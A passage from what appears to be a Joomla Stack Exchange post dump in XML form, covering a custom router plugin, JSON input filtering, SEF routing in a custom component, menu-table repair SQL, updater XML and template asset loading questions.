=&amp;gt; $ids) {&#xA;                $viewLayout = $view . $layout;&#xA;&#xA;                if ($layout &amp;amp;&amp;amp; isset($this-&amp;gt;lookup[$language][$viewLayout])) {&#xA;                    if (\is_bool($ids)) {&#xA;                        $query['Itemid'] = $this-&amp;gt;lookup[$language][$viewLayout];&#xA;&#xA;                        return;&#xA;                    }&#xA;&#xA;                    foreach ($ids as $id =&amp;gt; $segment) {&#xA;                        if (isset($this-&amp;gt;lookup[$language][$viewLayout][(int) $id])) {&#xA;                            $query['Itemid'] = $this-&amp;gt;lookup[$language][$viewLayout][(int) $id];&#xA;&#xA;                            return;&#xA;                        }&#xA;                    }&#xA;                }&#xA;&#xA;                if (isset($this-&amp;gt;lookup[$language][$view])) {&#xA;                    if (\is_bool($ids)) {&#xA;                        $query['Itemid'] = $this-&amp;gt;lookup[$language][$view];&#xA;&#xA;                        return;&#xA;                    }&#xA;&#xA;                    foreach ($ids as $id =&amp;gt; $segment) {&#xA;                        if (isset($this-&amp;gt;lookup[$language][$view][(int) $id])) {&#xA;                            $query['Itemid'] = $this-&amp;gt;lookup[$language][$view][(int) $id];&#xA;&#xA;                            return;&#xA;                        }&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        // Check if the active menuitem matches the requested language&#xA;        if (&#xA;            $active &amp;amp;&amp;amp; $active-&amp;gt;component === 'com_' . $this-&amp;gt;router-&amp;gt;getName()&#xA;            &amp;amp;&amp;amp; ($language === '*' || \in_array($active-&amp;gt;language, ['*', $language]) || !Multilanguage::isEnabled())&#xA;        ) {&#xA;            $query['Itemid'] = $active-&amp;gt;id;&#xA;&#xA;            return;&#xA;        }&#xA;&#xA;        // If not found, return language specific home link&#xA;        $default = $this-&amp;gt;router-&amp;gt;menu-&amp;gt;getDefault($language);&#xA;&#xA;        if (!empty($default-&amp;gt;id)) {&#xA;            $query['Itemid'] = $default-&amp;gt;id;&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This function differs from the standard Joomla router in a number of areas:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the Itemid has been set in the &lt;code&gt;Route::_()&lt;/code&gt; call then we use it, provided that the menuitem is associated with com_content.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's a multilingual site then we remove from the &lt;code&gt;lookup&lt;/code&gt; array the entry associated with the home page of the &amp;quot;*&amp;quot; language. This is for the case where you assign language-specific home pages as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Setup_a_Multilingual_Site/Creating_menus&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Setup_a_Multilingual_Site/Creating_menus&lt;/a&gt;, and unpublish the main menu module. If we don't remove this entry then it's possible to get incorrect routing, eg if the &amp;quot;*&amp;quot; home page points to one article and a language-specific home page points to a different article.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It looks through the lookup table to try and find an exact match between the parameters specified in the &lt;code&gt;Route::_()&lt;/code&gt; call and a menuitem on the site. If it finds one then it uses that menuitem's Itemid.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the current page (ie the active menuitem) belongs to com_content then it uses that menuitem's Itemid.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If the above fails to find a suitable menuitem then it drops back to the standard Joomla code.&lt;/p&gt;&#xA;&lt;p&gt;You can obviously tailor these rules to suit your own needs.&lt;/p&gt;&#xA;&lt;p&gt;Once you have created the files above, then zip up the folder and install the extension. Then go into System / Plugins or System / Extensions and Enable the plugin.&lt;/p&gt;&#xA;&lt;p&gt;Your feedback is particularly welcome, as it will probably benefit others as well, and I'll try and maintain this code bug-free.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2024-03-01T18:58:32.807" LastActivityDate="2024-03-01T18:58:32.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33410" PostTypeId="1" AcceptedAnswerId="33411" CreationDate="2023-10-11T18:59:45.833" Score="1" ViewCount="62" Body="&lt;p&gt;I have successfully developed a Joomla 4 API which receives JSON data containing HTML to update the database. - The HTML markup is stripped away when using this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$input = $this-&amp;gt;input-&amp;gt;json-&amp;gt;get('data', null, 'json');&#xA;$data = json_decode(json_encode($input), false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I make sure the HTML markup stays intact?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-10-12T07:44:44.810" Title="Input JSON strips HTML" Tags="|joomla-4.x|jinput|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33411" PostTypeId="2" ParentId="33410" CreationDate="2023-10-12T07:44:44.810" Score="3" Body="&lt;p&gt;There is no &lt;code&gt;json&lt;/code&gt; filter which causes default filter to be applied, stripping away HTML. Use a different filter. &lt;a href=&quot;https://joomla.stackexchange.com/a/33214/12652&quot;&gt;This answer&lt;/a&gt; shows some examples. Using &lt;code&gt;array&lt;/code&gt; filter should work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$input = $this-&amp;gt;input-&amp;gt;json-&amp;gt;get('data', [], 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Specifically for JSON there is &lt;code&gt;Joomla\Input\Json::getRaw()&lt;/code&gt; method which returns the raw JSON string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$input = $this-&amp;gt;input-&amp;gt;json-&amp;gt;getRaw();&#xA;$data = json_decode($input, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But be aware it doesn't take manipulations done on the input object into account, data may be outdated.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-10-12T07:44:44.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33412" PostTypeId="1" CreationDate="2023-10-13T08:31:18.963" Score="0" ViewCount="35" Body="&lt;p&gt;I've added Router Features today to my Custom Component - all works finde beside the fact that the $pk variable inside the model holds a curios value (202n) where 'n' is different for each element...&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Router:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)&#xA;    {&#xA;        $this-&amp;gt;categoryFactory = $categoryFactory;&#xA;        $this-&amp;gt;db              = $db;&#xA;&#xA;        $params = ComponentHelper::getParams('com_marathonmanager');&#xA;        $this-&amp;gt;noIDs = (bool) $params-&amp;gt;get('sef_ids');&#xA;        $categories = new RouterViewConfiguration('categories');&#xA;        $categories-&amp;gt;setKey('id');&#xA;        $this-&amp;gt;registerView($categories);&#xA;        $category = new RouterViewConfiguration('category');&#xA;        $category-&amp;gt;setKey('id')-&amp;gt;setParent($categories, 'catid')-&amp;gt;setNestable();&#xA;        $this-&amp;gt;registerView($category);&#xA;&#xA;        $events = new RouterViewConfiguration('events');&#xA;        $events-&amp;gt;setKey('id');&#xA;        $this-&amp;gt;registerView($events);&#xA;&#xA;        $event = new RouterViewConfiguration('event');&#xA;        $event-&amp;gt;setKey('id');&#xA;        $this-&amp;gt;registerView($event);&#xA;&#xA;//        $this-&amp;gt;registerView(new RouterViewConfiguration('featured'));&#xA;        $form = new RouterViewConfiguration('form');&#xA;        $form-&amp;gt;setKey('id');&#xA;        $this-&amp;gt;registerView($form);&#xA;&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new MenuRules($this));&#xA;        $this-&amp;gt;attachRule(new StandardRules($this));&#xA;        $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;EventsNomenuRules:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     *&#xA;     * @var RouterView&#xA;     * @since 3.4&#xA;     */&#xA;    protected $router;&#xA;&#xA;    /**&#xA;     * Class constructor.&#xA;     *&#xA;     * @param   RouterView  $router  Router this rule belongs to&#xA;     *&#xA;     * @since   3.4&#xA;     */&#xA;    public function __construct(RouterView $router)&#xA;    {&#xA;        $this-&amp;gt;router = $router;&#xA;    }&#xA;&#xA;    /**&#xA;     * Dummymethod to fullfill the interface requirements&#xA;     *&#xA;     * @param   array  &amp;amp;$query  The query array to process&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   3.4&#xA;     * @codeCoverageIgnore&#xA;     */&#xA;    public function preprocess(&amp;amp;$query)&#xA;    {&#xA;        $test = 'Test';&#xA;    }&#xA;&#xA;    /**&#xA;     * Parse a menu-less URL&#xA;     *&#xA;     * @param   array  &amp;amp;$segments  The URL segments to parse&#xA;     * @param   array  &amp;amp;$vars      The vars that result from the segments&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   3.4&#xA;     */&#xA;    public function parse(&amp;amp;$segments, &amp;amp;$vars)&#xA;    {&#xA;        // with this url: http://localhost/events/event-n/event-title.html&#xA;        // segments: [[0] =&amp;gt; event-n, [1] =&amp;gt; event-title]&#xA;        // vars: [[option] =&amp;gt; com_marathonmanager, [view] =&amp;gt; events, [id] =&amp;gt; 0]&#xA;&#xA;        $vars['view'] = 'event';&#xA;        $vars['id'] = substr($segments[0], strpos($segments[0], '-') + 1);&#xA;        array_shift($segments);&#xA;        array_shift($segments);&#xA;        return;&#xA;    }&#xA;&#xA;    /**&#xA;     * Build a menu-less URL&#xA;     *&#xA;     * @param   array  &amp;amp;$query     The vars that should be converted&#xA;     * @param   array  &amp;amp;$segments  The URL segments to create&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   3.4&#xA;     */&#xA;    public function build(&amp;amp;$query, &amp;amp;$segments)&#xA;    {&#xA;        // content of $query ($segments is empty or [[0] =&amp;gt; mywalk-3])&#xA;        // when called by the menu: [[option] =&amp;gt; com_mywalks, [Itemid] =&amp;gt; 126]&#xA;        // when called by the component: [[option] =&amp;gt; com_mywalks, [view] =&amp;gt; mywalk, [id] =&amp;gt; 1, [Itemid] =&amp;gt; 126]&#xA;        // when called from a module: [[option] =&amp;gt; com_mywalks, [view] =&amp;gt; mywalks, [format] =&amp;gt; html, [Itemid] =&amp;gt; 126]&#xA;        // when called from breadcrumbs: [[option] =&amp;gt; com_mywalks, [view] =&amp;gt; mywalks, [Itemid] =&amp;gt; 126]&#xA;&#xA;        // the url should look like this: /site-root/mywalks/walk-n/walk-title.html&#xA;&#xA;&#xA;&#xA;        // if the view is not mywalk - the single walk view&#xA;        if (!isset($query['view']) || (isset($query['view']) &amp;amp;&amp;amp; $query['view'] !== 'event') || isset($query['format']))&#xA;        {&#xA;            return;&#xA;        }&#xA;        $alias = $this-&amp;gt;getAliasForEvent($query['id']);&#xA;        error_log('alias: ' . var_export($alias, true));&#xA;        if($alias){&#xA;&#xA;            $segments[] = $alias;&#xA;        }else {&#xA;            $segments[] = $query['view'] . '-' . $query['id'];&#xA;        }&#xA;        // the last part of the url may be missing&#xA;        if (isset($query['slug'])) {&#xA;            $segments[] = $query['slug'];&#xA;            unset($query['slug']);&#xA;        }&#xA;        unset($query['view']);&#xA;        unset($query['id']);&#xA;    }&#xA;&#xA;    private function getAliasForEvent($id){&#xA;        if(!is_numeric($id)){&#xA;            return false;&#xA;        }&#xA;        $app = Factory::getApplication();&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        try&#xA;        {&#xA;            $query-&amp;gt;select($db-&amp;gt;quoteName('alias'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__com_marathonmanager_events'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = :id')&#xA;                -&amp;gt;bind(':id', $id, ParameterType::INTEGER);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $app-&amp;gt;enqueueMessage('NICE', 'default');&#xA;            return $db-&amp;gt;loadResult();&#xA;        }&#xA;        catch (RuntimeException $e)&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(), 'error');&#xA;            return false;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Fact when turning off SEF the event item url looks so:&#xA;&lt;a href=&quot;https://joomla4.local:8890/index.php?option=com_marathonmanager&amp;amp;view=event&amp;amp;id=5&amp;amp;Itemid=1282&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla4.local:8890/index.php?option=com_marathonmanager&amp;amp;view=event&amp;amp;id=5&amp;amp;Itemid=1282&lt;/a&gt;&#xA;And if turned on:&#xA;&lt;a href=&quot;https://joomla4.local:8890/marathon-manager-items/simm-2020-st-antoenien&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla4.local:8890/marathon-manager-items/simm-2020-st-antoenien&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But in the Model:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public function getItem($pk = null): object|bool&#xA;    {&#xA;        $app = Factory::getApplication();&#xA;        $pk = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;        error_log('EventModel::getItem() called with id: ' . $pk);&#xA;&#xA;        if($this-&amp;gt;_item === null)&#xA;        {&#xA;            $this-&amp;gt;_item = array();&#xA;        }&#xA;&#xA;        if(!isset($this-&amp;gt;_item[$pk]))&#xA;        {&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When checking the $pk var in the model it brings up a 202x number -which i cannot identify because its NOT the item ID&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-03-11T12:01:20.153" Title="J4 -Custom Component - Router Unknown $pk in model" Tags="|joomla-4.x|model|router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33413" PostTypeId="2" ParentId="31791" CreationDate="2023-10-13T09:04:32.300" Score="0" Body="&lt;p&gt;I had the same problem in french, in fact I had an old version of french language. I have re installed the french language and the problem is now solved.&lt;/p&gt;&#xA;" OwnerUserId="17378" LastActivityDate="2023-10-13T09:04:32.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33414" PostTypeId="2" ParentId="33412" CreationDate="2023-10-13T10:38:07.030" Score="0" Body="&lt;p&gt;Ok I think I've got it now. I had to add a method to get the item ID based on the ALIAS of the item as visible below. Is this the correct way to handle this?&lt;/p&gt;&#xA;&lt;p&gt;So in my &lt;strong&gt;EventsNomenuRules&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public function parse(&amp;amp;$segments, &amp;amp;$vars)&#xA;    {&#xA;        $vars['view'] = 'event';&#xA;        $vars['id'] = $this-&amp;gt;getItemIdForAlias($segments[0]);&#xA;        array_shift($segments);&#xA;        array_shift($segments);&#xA;        return;&#xA;    }&#xA;...&#xA;&#xA;private function getItemIdForAlias($alias){&#xA;        if(empty($alias)){&#xA;            return false;&#xA;        }&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        try&#xA;        {&#xA;            $query-&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__com_marathonmanager_events'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('alias') . ' = :alias')&#xA;                -&amp;gt;bind(':alias', $alias, ParameterType::STRING);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            return $db-&amp;gt;loadResult();&#xA;        }&#xA;        catch (RuntimeException $e)&#xA;        {&#xA;            return false;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-10-13T11:05:51.447" LastActivityDate="2023-10-13T11:05:51.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33415" PostTypeId="2" ParentId="32548" CreationDate="2023-10-13T18:00:12.493" Score="0" Body="&lt;p&gt;For me after upgrading to Joomla 4.3 I got this error on random Joomla pages. I found that I had many menu items that were for whatever reason pointing to the wrong component (in my case com_template mostly and one pointing to nothing with id 0). To see if you have any dangling component menu items query your db with the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `#__menu` WHERE 1 AND link LIKE '%=com_content%' AND type = 'component' AND component_id != (SELECT extension_id FROM #__extensions WHERE name = 'com_content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Export the previous as a backup if needed to have a reference of which ones are off. To set them right and get rid of the error try executing in your db:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `#__menu` SET `component_id` = (SELECT extension_id FROM #__extensions WHERE name = 'com_content' LIMIT 1) WHERE 1 AND link LIKE '%=com_content%' AND type = 'component' AND component_id != (SELECT extension_id FROM #__extensions WHERE name = 'com_content' LIMIT 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15708" LastActivityDate="2023-10-13T18:00:12.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33416" PostTypeId="1" CreationDate="2023-10-17T21:47:58.270" Score="0" ViewCount="74" Body="&lt;p&gt;website working great before being asked to update Joomla to 4.4.  received this error message:&lt;br /&gt;&#xA;An error has occurred.&#xA;0 Return value of Joomla\CMS\Mail\MailerFactory::createMailer() must be an instance of Joomla\CMS\Mail\MailerInterface, instance of Joomla\CMS\Mail\Mail returned&lt;/p&gt;&#xA;&lt;p&gt;Asked to return to Dashboard but not working. Last update was 3 months ago and didn't backup with this latest update.  Please advise.  Thanks&lt;/p&gt;&#xA;" OwnerUserId="14879" LastEditorUserId="13472" LastEditDate="2023-10-19T19:57:41.727" LastActivityDate="2023-10-19T19:57:41.727" Title="Error when upgrading from 4.3.4 5o 4.4 Error message" Tags="|joomla-4.x|update|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33417" PostTypeId="1" AcceptedAnswerId="33435" CreationDate="2023-10-19T12:15:27.690" Score="0" ViewCount="51" Body="&lt;p&gt;In my XML script of my extension for the Joomla! updater, i need to allow the updates when the extension is installed on : Joomla! 4.3.x, 4.4.x and 5.0.x.&#xA;I have set in my XML file the targetplatform like that but it allow the update only on Joomla! 5.0. I have added recently the support for Joomla! 5.0&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;4.(3|4)|5.0&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the correct way to do it ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2023-10-28T10:10:49.863" Title="Updater XML script on server targetplatform for joomla 4.3/4.4/5.0" Tags="|joomla-4.x|joomla-5.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33419" PostTypeId="6" CreationDate="2023-10-20T16:32:17.817" Score="0" Body="&lt;h3&gt;I have been an active member of the JSE for several years now and use this site as a daily source of inspiration when dealing with complex Joomla development issues. I enjoy seeing the community come together to solve problems, offer advice and solutions, and engage in meaningful discussions about our favorite CMS. It has been my pleasure being a moderator of this site and would enjoy continuing to do so.&lt;/h3&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2023-10-20T16:32:17.817" LastActivityDate="2023-10-20T16:32:17.817" CommentCount="0" CommunityOwnedDate="2023-10-20T16:32:17.817" ContentLicense="CC BY-SA 4.0" />
  <row Id="33421" PostTypeId="1" AcceptedAnswerId="33422" CreationDate="2023-10-22T22:50:55.677" Score="0" ViewCount="178" Body="&lt;p&gt;I am in the process of writing a custom theme for a client and am having issues with the Web Asset Manager. I have been following examples of other templates that are built for Joomla 4+, but I must be doing something incorrectly as the defined template CSS and JS files are not being loaded into the template's index file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;index.php - Simplified for readability&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Layout\FileLayout;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\CMS\Menu\SiteMenu;&#xA;&#xA;$app = Factory::getApplication();&#xA;$wa = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;/**&#xA; * Load template style and functionality assets&#xA; *&#xA; */&#xA;$wa-&amp;gt;useStyle( 'template.[redacted]' )&#xA;   -&amp;gt;useScript( 'template.[redacted]' );&#xA;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&amp;quot; dir=&amp;quot;&amp;lt;?php echo $this-&amp;gt;direction; ?&amp;gt;&amp;quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;jdoc:include type=&amp;quot;metas&amp;quot; /&amp;gt;&#xA;  &amp;lt;jdoc:include type=&amp;quot;styles&amp;quot; /&amp;gt;&#xA;  &amp;lt;jdoc:include type=&amp;quot;scripts&amp;quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;templateDetails.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;  &amp;lt;extension version=&amp;quot;4.0&amp;quot; type=&amp;quot;template&amp;quot; client=&amp;quot;site&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;[redacted]&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;2023-10-17&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Mike Hermary&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;hello@imaginecreative.ca&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;https://imaginecreative.ca&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;description&amp;gt;Joomla 4 template for [redacted]&amp;lt;/description&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright 2007 - Now Imagine Creative. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;  &amp;lt;files&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;joomla.asset.json&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;templateDetails.xml&amp;lt;/filename&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;  &amp;lt;languages folder=&amp;quot;language&amp;quot;&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/tpl_[redacted].ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;en-GB/tpl_[redacted].sys.ini&amp;lt;/language&amp;gt;&#xA;  &amp;lt;/languages&amp;gt;&#xA;  &amp;lt;media destination=&amp;quot;templates/site/[redacted]&amp;quot; folder=&amp;quot;media&amp;quot;&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;scss&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/media&amp;gt;&#xA;  &amp;lt;positions&amp;gt;&#xA;    &amp;lt;position&amp;gt;&amp;lt;/position&amp;gt;&#xA;  &amp;lt;/positions&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;joomla.asset.json&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;[redacted]&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;4.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;This file contains details of the assets used by [redacted]&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-2.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.[redacted]&amp;quot;,&#xA;      &amp;quot;description&amp;quot;: &amp;quot;The file containing the CSS for this template.&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;template.min.css&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;template.[redacted]&amp;quot;,&#xA;      &amp;quot;description&amp;quot;: &amp;quot;The file containing the JavaScript for this template.&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;template.js&amp;quot;,&#xA;      &amp;quot;attributes&amp;quot; : {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The assets media directory exists in the template and in the &lt;code&gt;media/templates/site/&amp;lt;template_name&amp;gt;&lt;/code&gt; directory on the server.&lt;/p&gt;&#xA;&lt;p&gt;I am using Git to push the files to the template directory. The ownership for the template directory is &lt;code&gt;git:git&lt;/code&gt;. I tried changing to &lt;code&gt;www-data:www-data&lt;/code&gt; for testing purposes, but it did not help.&lt;/p&gt;&#xA;&lt;p&gt;The asset files in the &lt;code&gt;media/templates/site/&amp;lt;template_name&amp;gt;&lt;/code&gt; directory are using &lt;code&gt;www-data:www-data&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions on what I do not have setup correctly.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2023-10-23T06:40:31.393" Title="Joomla 4 custom template not loading web assets" Tags="|php|templates|javascript|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33422" PostTypeId="2" ParentId="33421" CreationDate="2023-10-23T06:40:31.393" Score="2" Body="&lt;p&gt;Templates need to be &amp;quot;inheritable&amp;quot; to implicitly load assets from &lt;code&gt;media/templates/[client]/[template]&lt;/code&gt; directory. Making a template inheritable allows users to create &amp;quot;child templates&amp;quot; of your template. To make a template inheritable, add &lt;code&gt;inheritable&lt;/code&gt; tag to manifest file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;inheritable&amp;gt;1&amp;lt;/inheritable&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;An alternative to this is using the old directory structure, i.e. loading the assets from &lt;code&gt;templates/[template]&lt;/code&gt; or &lt;code&gt;media/[template]&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-10-23T06:40:31.393" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33423" PostTypeId="2" ParentId="33417" CreationDate="2023-10-23T10:44:18.053" Score="0" Body="&lt;p&gt;i‘ve simply changed to .* for compatible extensions. its not the best way but the best i could find so far…&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-10-23T10:44:18.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33424" PostTypeId="1" AcceptedAnswerId="33442" CreationDate="2023-10-25T15:37:37.533" Score="0" ViewCount="110" Body="&lt;p&gt;I have created a child template from the main cassiopeia template and I can see it there.&lt;/p&gt;&#xA;&lt;p&gt;I then created an index.php in the root of the child template folder. Making changes to this file doesn't reflect on the site however? Basically it is not picking up the override child template index.php.&lt;/p&gt;&#xA;&lt;p&gt;Are there further steps I need to take. The XML has the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;inheritable&amp;gt;0&amp;lt;/inheritable&amp;gt;&#xA;  &amp;lt;parent&amp;gt;cassiopeia&amp;lt;/parent&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-10-30T11:28:56.083" Title="Joomla 4 - Cassiopeia index.php override" Tags="|joomla-4.x|template-override|cassiopeia|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
